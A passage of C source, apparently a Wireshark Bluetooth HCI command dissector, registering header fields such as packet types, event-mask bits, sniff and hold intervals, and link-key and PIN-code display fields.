{ "Packet Type DM3", "bthci_cmd.packet_type_dm3",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0400,
NULL, HFILL }
},
{ &hf_bthci_cmd_packet_type_dh3,
{ "Packet Type DH3", "bthci_cmd.packet_type_dh3",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0800,
NULL, HFILL }
},
{ &hf_bthci_cmd_packet_type_2dh5,
{ "Packet Type 2-DH5", "bthci_cmd.packet_type_2dh5",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x1000,
NULL, HFILL }
},
{ &hf_bthci_cmd_packet_type_3dh5,
{ "Packet Type 3-DH5", "bthci_cmd.packet_type_3dh5",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x2000,
NULL, HFILL }
},
{ &hf_bthci_cmd_packet_type_dm5,
{ "Packet Type DM5", "bthci_cmd.packet_type_dm5",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x4000,
NULL, HFILL }
},
{ &hf_bthci_cmd_packet_type_dh5,
{ "Packet Type DH5", "bthci_cmd.packet_type_dh5",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x8000,
NULL, HFILL }
},
{ &hf_bthci_cmd_page_scan_mode,
{ "Page Scan Mode", "bthci_cmd.page_scan_mode",
FT_UINT8, BASE_HEX, VALS(bthci_cmd_page_scan_modes), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_page_scan_repetition_mode,
{ "Page Scan Repetition Mode", "bthci_cmd.page_scan_repetition_mode",
FT_UINT8, BASE_HEX, VALS(bthci_cmd_page_scan_repetition_modes), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_page_scan_period_mode,
{ "Page Scan Period Mode", "bthci_cmd.page_scan_period_mode",
FT_UINT8, BASE_HEX, VALS(bthci_cmd_page_scan_period_modes), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_clock_offset,
{ "Clock Offset", "bthci_cmd.clock_offset",
FT_UINT16, BASE_HEX, NULL, 0x7FFF,
"Bit 2-16 of the Clock Offset between CLKmaster-CLKslave", HFILL }
},
{ &hf_bthci_cmd_clock_offset_valid,
{ "Clock_Offset_Valid_Flag", "bthci_cmd.clock_offset_valid",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x8000,
"Indicates if clock offset is valid", HFILL }
},
{ &hf_bthci_cmd_allow_role_switch,
{ "Allow Role Switch", "bthci_cmd.allow_role_switch",
FT_UINT8, BASE_HEX, VALS(cmd_role_switch_modes), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_max_period_length,
{ "Max Period Length", "bthci_cmd.max_period_length",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Maximum amount of time specified between consecutive inquiries.", HFILL }
},
{ &hf_bthci_cmd_min_period_length,
{ "Min Period Length", "bthci_cmd.min_period_length",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Minimum amount of time specified between consecutive inquiries.", HFILL }
},
{ &hf_bthci_cmd_connection_handle,
{ "Connection Handle", "bthci_cmd.connection_handle",
FT_UINT16, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_reason,
{ "Reason", "bthci_cmd.reason",
FT_UINT8, BASE_HEX|BASE_EXT_STRING, &bthci_cmd_status_vals_ext, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_num_link_keys,
{ "Number of Link Keys", "bthci_cmd.num_link_keys",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_link_key,
{ "Link Key", "bthci_cmd.link_key",
FT_BYTES, BASE_NONE, NULL, 0x0,
"Link Key for the associated BD_ADDR", HFILL }
},
{ &hf_bthci_cmd_packet_type_hv1,
{ "Packet Type HV1", "bthci_cmd.packet_type_hv1",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0020,
NULL, HFILL }
},
{ &hf_bthci_cmd_packet_type_hv2,
{ "Packet Type HV2", "bthci_cmd.packet_type_hv2",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0040,
NULL, HFILL }
},
{ &hf_bthci_cmd_packet_type_hv3,
{ "Packet Type HV3", "bthci_cmd.packet_type_hv3",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0080,
NULL, HFILL }
},
{ &hf_bthci_cmd_role,
{ "Role", "bthci_cmd.role",
FT_UINT8, BASE_HEX, VALS(cmd_role_vals), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_pin_code_length,
{ "PIN Code Length", "bthci_cmd.pin_code_length",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_pin_code,
{ "PIN Code", "bthci_cmd.pin_code",
FT_STRING, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_pin_type,
{ "PIN Type", "bthci_cmd.pin_type",
FT_UINT8, BASE_HEX, VALS(cmd_pin_types), 0x0,
"PIN Types", HFILL }
},
{ &hf_bthci_cmd_encryption_enable,
{ "Encryption Enable", "bthci_cmd.encryption_enable",
FT_UINT8, BASE_HEX, VALS(cmd_encryption_enable), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_key_flag,
{ "Key Flag", "bthci_cmd.key_flag",
FT_UINT8, BASE_HEX, VALS(cmd_key_flag), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_max_interval_hold,
{ "Hold Mode Max Interval", "bthci_cmd.hold_mode_max_int",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Maximal acceptable number of Baseband slots to wait in Hold Mode.", HFILL }
},
{ &hf_bthci_cmd_min_interval_hold,
{ "Hold Mode Min Interval", "bthci_cmd.hold_mode_min_int",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Minimum acceptable number of Baseband slots to wait in Hold Mode.", HFILL }
},
{ &hf_bthci_cmd_max_interval_sniff,
{ "Sniff Max Interval", "bthci_cmd.sniff_max_int",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Maximal acceptable number of Baseband slots between each sniff period.", HFILL }
},
{ &hf_bthci_cmd_min_interval_sniff,
{ "Sniff Min Interval", "bthci_cmd.sniff_min_int",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Minimum acceptable number of Baseband slots between each sniff period.", HFILL }
},
{ &hf_bthci_cmd_sniff_attempt,
{ "Sniff Attempt", "bthci_cmd.sniff_attempt",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Number of Baseband receive slots for sniff attempt.", HFILL }
},
{ &hf_bthci_cmd_timeout,
{ "Timeout", "bthci_cmd.timeout",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Number of Baseband slots for timeout.", HFILL }
},
{ &hf_bthci_cmd_max_interval_beacon,
{ "Beacon Max Interval", "bthci_cmd.beacon_max_int",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Maximal acceptable number of Baseband slots between consecutive beacons.", HFILL }
},
{ &hf_bthci_cmd_min_interval_beacon,
{ "Beacon Min Interval", "bthci_cmd.beacon_min_int",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Minimum acceptable number of Baseband slots between consecutive beacons.", HFILL }
},
{ &hf_bthci_cmd_flags,
{ "Flags", "bthci_cmd.flags",
FT_UINT8, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_service_type,
{ "Service Type", "bthci_cmd.service_type",
FT_UINT8, BASE_HEX, VALS(cmd_service_types), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_token_rate,
{ "Available Token Rate", "bthci_cmd.token_rate",
FT_UINT32, BASE_DEC, NULL, 0x0,
"Token Rate, in bytes per second", HFILL }
},
{ &hf_bthci_cmd_token_bucket_size,
{ "Available Token Bucket Size", "bthci_cmd.token_bucket_size",
FT_UINT32, BASE_DEC, NULL, 0x0,
"Token Bucket Size in bytes", HFILL }
},
{ &hf_bthci_cmd_peak_bandwidth,
{ "Peak Bandwidth", "bthci_cmd.peak_bandwidth",
FT_UINT32, BASE_DEC, NULL, 0x0,
"Peak Bandwidth, in bytes per second", HFILL }
},
{ &hf_bthci_cmd_latency,
{ "Latency", "bthci_cmd.latency",
FT_UINT32, BASE_DEC, NULL, 0x0,
"Latency, in microseconds", HFILL }
},
{ &hf_bthci_cmd_delay_variation,
{ "Delay Variation", "bthci_cmd.delay_variation",
FT_UINT32, BASE_DEC, NULL, 0x0,
"Delay Variation, in microseconds", HFILL }
},
{ &hf_bthci_cmd_link_policy_setting_switch,
{ "Enable Master Slave Switch", "bthci_cmd.link_policy_switch",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0001,
NULL, HFILL }
},
{ &hf_bthci_cmd_link_policy_setting_hold,
{ "Enable Hold Mode", "bthci_cmd.link_policy_hold",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0002,
NULL, HFILL }
},
{ &hf_bthci_cmd_link_policy_setting_sniff,
{ "Enable Sniff Mode", "bthci_cmd.link_policy_sniff",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0004,
NULL, HFILL }
},
{ &hf_bthci_cmd_link_policy_setting_park,
{ "Enable Park Mode", "bthci_cmd.link_policy_park",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0008,
NULL, HFILL }
},
{ &hf_bthci_cmd_filter_type,
{ "Filter Type", "bthci_cmd.filter_type",
FT_UINT8, BASE_HEX, VALS(cmd_filter_types), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_inquiry_result_filter_condition_type,
{ "Filter Condition Type", "bthci_cmd.filter_condition_type",
FT_UINT8, BASE_HEX, VALS(cmd_inquiry_result_filter_condition_types), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_connection_setup_filter_condition_type,
{ "Filter Condition Type", "bthci_cmd.filter_condition_type",
FT_UINT8, BASE_HEX, VALS(cmd_connection_setup_filter_condition_types), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_cod_class_of_device_mask,
{ "Class of Device Mask", "bthci_cmd.class_of_device_mask",
FT_UINT24, BASE_HEX, NULL, 0x0,
"Bit Mask used to determine which bits of the Class of Device parameter are of interest.", HFILL }
},
{ &hf_bthci_cmd_cod_major_device_class_mask,
{ "Major Device Class Mask", "bthci_cmd.class_of_device_mask.major_device_class",
FT_UINT16, BASE_HEX, NULL, 0x1F,
NULL, HFILL }
},
{ &hf_bthci_cmd_cod_major_service_class_information_mask,
{ "Major Service Classes Mask: Information", "bthci_cmd.class_of_device_mask.major_service_classes.information",
FT_BOOLEAN, 16, NULL, 0x8000,
NULL, HFILL }
},
{ &hf_bthci_cmd_cod_major_service_class_telephony_mask,
{ "Major Service Classes Mask: Telephony", "bthci_cmd.class_of_device_mask.major_service_classes.telephony",
FT_BOOLEAN, 16, NULL, 0x4000,
NULL, HFILL }
},
{ &hf_bthci_cmd_cod_major_service_class_audio_mask,
{ "Major Service Classes Mask: Audio", "bthci_cmd.class_of_device_mask.major_service_classes.audio",
FT_BOOLEAN, 16, NULL, 0x2000,
NULL, HFILL }
},
{ &hf_bthci_cmd_cod_major_service_class_object_transfer_mask,
{ "Major Service Classes Mask: Object Transfer", "bthci_cmd.class_of_device_mask.major_service_classes.object_transfer",
FT_BOOLEAN, 16, NULL, 0x1000,
NULL, HFILL }
},
{ &hf_bthci_cmd_cod_major_service_class_capturing_mask,
{ "Major Service Classes Mask: Capturing", "bthci_cmd.class_of_device_mask.major_service_classes.capturing",
FT_BOOLEAN, 16, NULL, 0x0800,
NULL, HFILL }
},
{ &hf_bthci_cmd_cod_major_service_class_rendering_mask,
{ "Major Service Classes Mask: Rendering", "bthci_cmd.class_of_device_mask.major_service_classes.rendering",
FT_BOOLEAN, 16, NULL, 0x0400,
NULL, HFILL }
},
{ &hf_bthci_cmd_cod_major_service_class_networking_mask,
{ "Major Service Classes Mask: Networking", "bthci_cmd.class_of_device_mask.major_service_classes.networking",
FT_BOOLEAN, 16, NULL, 0x0200,
NULL, HFILL }
},
{ &hf_bthci_cmd_cod_major_service_class_positioning_mask,
{ "Major Service Classes Mask: Positioning", "bthci_cmd.class_of_device_mask.major_service_classes.positioning",
FT_BOOLEAN, 16, NULL, 0x0100,
NULL, HFILL }
},
{ &hf_bthci_cmd_cod_major_service_class_reserved_mask,
{ "Major Service Classes Mask: Reserved", "bthci_cmd.class_of_device_mask.major_service_classes.reserved",
FT_UINT16, BASE_HEX, NULL, 0x00C0,
NULL, HFILL }
},
{ &hf_bthci_cmd_cod_major_service_class_limited_discoverable_mode_mask,
{ "Major Service Classes Mask: Limited Discoverable Mode", "bthci_cmd.class_of_device_mask.major_service_classes.limited_discoverable_mode",
FT_BOOLEAN, 16, NULL, 0x0020,
NULL, HFILL }
},
{ &hf_bthci_cmd_cod_minor_device_class_mask,
{ "Minor Device Class Mask", "bthci_cmd.class_of_device_mask.minor_device_class",
FT_UINT8, BASE_HEX, NULL, 0xFC,
NULL, HFILL }
},
{ &hf_bthci_cmd_cod_format_type_mask,
{ "Format Type Mask", "bthci_cmd.class_of_device_mask.format_type",
FT_UINT8, BASE_HEX, NULL, 0x03,
NULL, HFILL }
},
{ &hf_bthci_cmd_auto_acc_flag,
{ "Auto Accept Flag", "bthci_cmd.auto_accept_flag",
FT_UINT8, BASE_HEX, VALS(cmd_auto_acc_flag_values), 0x0,
"Class of Device of Interest", HFILL }
},
{ &hf_bthci_cmd_read_all_flag,
{ "Read All Flag", "bthci_cmd.read_all_flag",
FT_UINT8, BASE_HEX, VALS(cmd_read_all_flag_values), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_delete_all_flag,
{ "Delete All Flag", "bthci_cmd.delete_all_flag",
FT_UINT8, BASE_HEX, VALS(cmd_delete_all_flag_values), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_authentication_enable,
{ "Authentication Enable", "bthci_cmd.auth_enable",
FT_UINT8, BASE_HEX, VALS(cmd_authentication_enable_values), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_input_unused,
{ "Unused bits", "bthci_cmd.voice.unused",
FT_UINT16, BASE_HEX, NULL, 0xfc00,
NULL, HFILL }
},
{ &hf_bthci_cmd_input_coding,
{ "Input Coding", "bthci_cmd.voice.input_coding",
FT_UINT16, BASE_DEC, VALS(cmd_input_coding_values), 0x0300,
"Authentication Enable", HFILL }
},
{ &hf_bthci_cmd_input_data_format,
{ "Input Data Format", "bthci_cmd.voice.input_data_format",
FT_UINT16, BASE_DEC, VALS(cmd_input_data_format_values), 0x00c0,
NULL, HFILL }
},
{ &hf_bthci_cmd_input_sample_size,
{ "Input Sample Size", "bthci_cmd.voice.input_sample_size",
FT_UINT16, BASE_DEC, VALS(cmd_input_sample_size_values), 0x0020,
NULL, HFILL }
},
{ &hf_bthci_cmd_linear_pcm_bit_pos,
{ "Linear PCM Bit Position", "bthci_cmd.voice.linear_pcm_bit_pos",
FT_UINT16, BASE_DEC, NULL, 0x001c,
"# bit pos. that MSB of sample is away from starting at MSB", HFILL }
},
{ &hf_bthci_cmd_air_coding_format,
{ "Air Coding Format", "bthci_cmd.voice.air_coding_format",
FT_UINT16, BASE_DEC, VALS(cmd_air_coding_format_values), 0x0003,
NULL, HFILL }
},
{ &hf_bthci_cmd_num_broadcast_retransmissions,
{ "Num Broadcast Retran", "bthci_cmd.num_broad_retran",
FT_UINT8, BASE_DEC, NULL, 0x0,
"Number of Broadcast Retransmissions", HFILL }
},
{ &hf_bthci_cmd_hold_mode_act_page,
{ "Suspend Page Scan", "bthci_cmd.hold_mode_page",
FT_UINT8, BASE_DEC, VALS(cmd_boolean), 0x1,
"Device can enter low power state", HFILL }
},
{ &hf_bthci_cmd_hold_mode_act_inquiry,
{ "Suspend Inquiry Scan", "bthci_cmd.hold_mode_inquiry",
FT_UINT8, BASE_DEC, VALS(cmd_boolean), 0x2,
"Device can enter low power state", HFILL }
},
{ &hf_bthci_cmd_hold_mode_act_periodic,
{ "Suspend Periodic Inquiries", "bthci_cmd.hold_mode_periodic",
FT_UINT8, BASE_DEC, VALS(cmd_boolean), 0x4,
"Device can enter low power state", HFILL }
},
{ &hf_bthci_cmd_scan_enable,
{ "Scan Enable", "bthci_cmd.scan_enable",
FT_UINT8, BASE_HEX, VALS(bthci_cmd_scan_enable_values), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_interval,
{ "Interval", "bthci_cmd.interval",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_window,
{ "Interval", "bthci_cmd.window",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Window", HFILL }
},
{ &hf_bthci_cmd_device_name,
{ "Device Name", "bthci_cmd.device_name",
FT_STRINGZ, BASE_NONE, NULL, 0x0,
"Userfriendly descriptive name for the device", HFILL }
},
{ &hf_bthci_cmd_num_curr_iac,
{ "Number of Current IAC", "bthci_cmd.num_curr_iac",
FT_UINT8, BASE_DEC, NULL, 0x0,
"Number of IACs which are currently in use", HFILL }
},
{ &hf_bthci_cmd_iac_lap,
{ "IAC LAP", "bthci_cmd.num_curr_iac",
FT_UINT24, BASE_HEX, NULL, 0x0,
"LAP(s)used to create IAC", HFILL }
},
{ &hf_bthci_cmd_evt_mask_00,
{ "Inquiry Complete", "bthci_cmd.evt_mask_00",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x01,
"Inquiry Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_01,
{ "Inquiry Result", "bthci_cmd.evt_mask_01",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x02,
"Inquiry Result Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_02,
{ "Connect Complete", "bthci_cmd.evt_mask_02",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x04,
"Connection Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_03,
{ "Connect Request", "bthci_cmd.evt_mask_03",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x08,
"Connect Request Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_04,
{ "Disconnect Complete", "bthci_cmd.evt_mask_04",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x10,
"Disconnect Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_05,
{ "Auth Complete", "bthci_cmd.evt_mask_05",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x20,
"Auth Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_06,
{ "Remote Name Req Complete", "bthci_cmd.evt_mask_06",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x40,
"Remote Name Req Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_07,
{ "Encrypt Change", "bthci_cmd.evt_mask_07",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x80,
"Encrypt Change Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_10,
{ "Change Connection Link Key Complete", "bthci_cmd.evt_mask_10",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x01,
"Change Connection Link Key Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_11,
{ "Master Link Key Complete", "bthci_cmd.evt_mask_11",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x02,
"Master Link Key Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_12,
{ "Read Remote Supported Features", "bthci_cmd.evt_mask_12",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x04,
"Read Remote Supported Features Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_13,
{ "Read Remote Ver Info Complete", "bthci_cmd.evt_mask_13",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x08,
"Read Remote Ver Info Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_14,
{ "QoS Setup Complete", "bthci_cmd.evt_mask_14",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x10,
"QoS Setup Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_17,
{ "Hardware Error", "bthci_cmd.evt_mask_17",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x80,
"Hardware Error Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_20,
{ "Flush Occurred", "bthci_cmd.evt_mask_20",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x01,
"Flush Occurred Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_21,
{ "Role Change", "bthci_cmd.evt_mask_21",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x02,
"Role Change Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_23,
{ "Mode Change", "bthci_cmd.evt_mask_23",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x08,
"Mode Change Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_24,
{ "Return Link Keys", "bthci_cmd.evt_mask_24",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x10,
"Return Link Keys Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_25,
{ "PIN Code Request", "bthci_cmd.evt_mask_25",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x20,
"PIN Code Request Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_26,
{ "Link Key Request", "bthci_cmd.evt_mask_26",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x40,
"Link Key Request Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_27,
{ "Link Key Notification", "bthci_cmd.evt_mask_27",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x80,
"Link Key Notification Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_30,
{ "Loopback Command", "bthci_cmd.evt_mask_30",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x01,
"Loopback Command Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_31,
{ "Data Buffer Overflow" , "bthci_cmd.evt_mask_31",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x02,
"Data Buffer Overflow Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_32,
{ "Max Slots Change", "bthci_cmd.evt_mask_32",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x04,
"Max Slots Change Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_33,
{ "Read Clock Offset Complete", "bthci_cmd.evt_mask_33",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x08,
"Read Clock Offset Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_34,
{ "Connection Packet Type Changed", "bthci_cmd.evt_mask_34",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x10,
"Connection Packet Type Changed Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_35,
{ "QoS Violation", "bthci_cmd.evt_mask_35",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x20,
"QoS Violation Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_36,
{ "Page Scan Mode Change", "bthci_cmd.evt_mask_36",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x40,
"Page Scan Mode Change Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_37,
{ "Page Scan Repetition Mode Change", "bthci_cmd.evt_mask_37",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x80,
"Page Scan Repetition Mode Change Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_40,
{ "Flow Specification Complete", "bthci_cmd.evt_mask_40",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x01,
"Flow Specification Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_41,
{ "Inquiry Result With RSSI", "bthci_cmd.evt_mask_41",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x02,
"Inquiry Result With RSSI Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_42,
{ "Read Remote Ext. Features Complete", "bthci_cmd.evt_mask_42",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x04,
"Read Remote Ext. Features Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_53,
{ "Synchronous Connection Complete", "bthci_cmd.evt_mask_53",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x08,
"Synchronous Connection Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_54,
{ "Synchronous Connection Changed", "bthci_cmd.evt_mask_54",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x10,
"Synchronous Connection Changed Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_55,
{ "Sniff Subrate", "bthci_cmd.evt_mask_55",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x20,
"Sniff Subrate Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_56,
{ "Extended Inquiry Result", "bthci_cmd.evt_mask_56",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x40,
"Extended Inquiry Result Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_57,
{ "Encryption Key Refresh Complete", "bthci_cmd.evt_mask_57",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x80,
"Encryption Key Refresh Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_60,
{ "IO Capability Request", "bthci_cmd.evt_mask_60",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x01,
"IO Capability Request Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_61,
{ "IO Capability Response", "bthci_cmd.evt_mask_61",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x02,
"IO Capability Response Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_62,
{ "User Confirmation Request", "bthci_cmd.evt_mask_62",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x04,
"User Confirmation Request Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_63,
{ "User Passkey Request", "bthci_cmd.evt_mask_63",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x08,
"User Passkey Request Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_64,
{ "Remote OOB Data Request", "bthci_cmd.evt_mask_64",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x10,
"Remote OOB Data Request Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_65,
{ "Simple Pairing Complete", "bthci_cmd.evt_mask_65",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x20,
"Simple Pairing Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_67,
{ "Link Supervision Timeout Changed", "bthci_cmd.evt_mask_67",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x80,
"Link Supervision Timeout Changed Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_70,
{ "Enhanced Flush Complete", "bthci_cmd.evt_mask_70",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x01,
"Enhanced Flush Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_72,
{ "User Passkey Notification", "bthci_cmd.evt_mask_72",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x04,
"User Passkey Notification Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask_73,
{ "Keypress Notification", "bthci_cmd.evt_mask_73",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x08,
"Keypress Notification Bit", HFILL }
},
{ &hf_bthci_cmd_sco_flow_control,
{ "SCO Flow Control","bthci_cmd.flow_control",
FT_UINT8, BASE_HEX, VALS(cmd_en_disabled), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_num_handles,
{ "Number of Handles", "bthci_cmd.num_handles",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_num_compl_packets,
{ "Number of Completed Packets", "bthci_cmd.num_compl_packets",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Number of Completed HCI Data Packets", HFILL }
},
{ &hf_bthci_cmd_flow_contr_enable,
{ "Flow Control Enable", "bthci_cmd.flow_contr_enable",
FT_UINT8, BASE_HEX, VALS(cmd_flow_contr_enable), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_host_data_packet_length_acl,
{"Host ACL Data Packet Length (bytes)", "bthci_cmd.max_data_length_acl",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Max Host ACL Data Packet length of data portion host is able to accept", HFILL }
},
{ &hf_bthci_cmd_host_data_packet_length_sco,
{"Host SCO Data Packet Length (bytes)", "bthci_cmd.max_data_length_sco",
FT_UINT8, BASE_DEC, NULL, 0x0,
"Max Host SCO Data Packet length of data portion host is able to accept", HFILL }
},
{ &hf_bthci_cmd_host_total_num_acl_data_packets,
{"Host Total Num ACL Data Packets", "bthci_cmd.max_data_num_acl",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Total Number of HCI ACL Data Packets that can be stored in the data buffers of the Host", HFILL }
},
{ &hf_bthci_cmd_host_total_num_sco_data_packets,
{"Host Total Num SCO Data Packets", "bthci_cmd.max_data_num_sco",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Total Number of HCI SCO Data Packets that can be stored in the data buffers of the Host", HFILL }
},
{ &hf_bthci_cmd_loopback_mode,
{"Loopback Mode", "bthci_cmd.loopback_mode",
FT_UINT8, BASE_HEX, VALS(cmd_loopback_modes), 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_page_number,
{"Page Number", "bthci_cmd.page_number",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_transmit_bandwidth,
{"Tx Bandwidth (bytes/s)", "bthci_cmd.tx_bandwidth",
FT_UINT32, BASE_DEC, NULL, 0x0,
"Tx Bandwidth", HFILL}
},
{ &hf_bthci_cmd_receive_bandwidth,
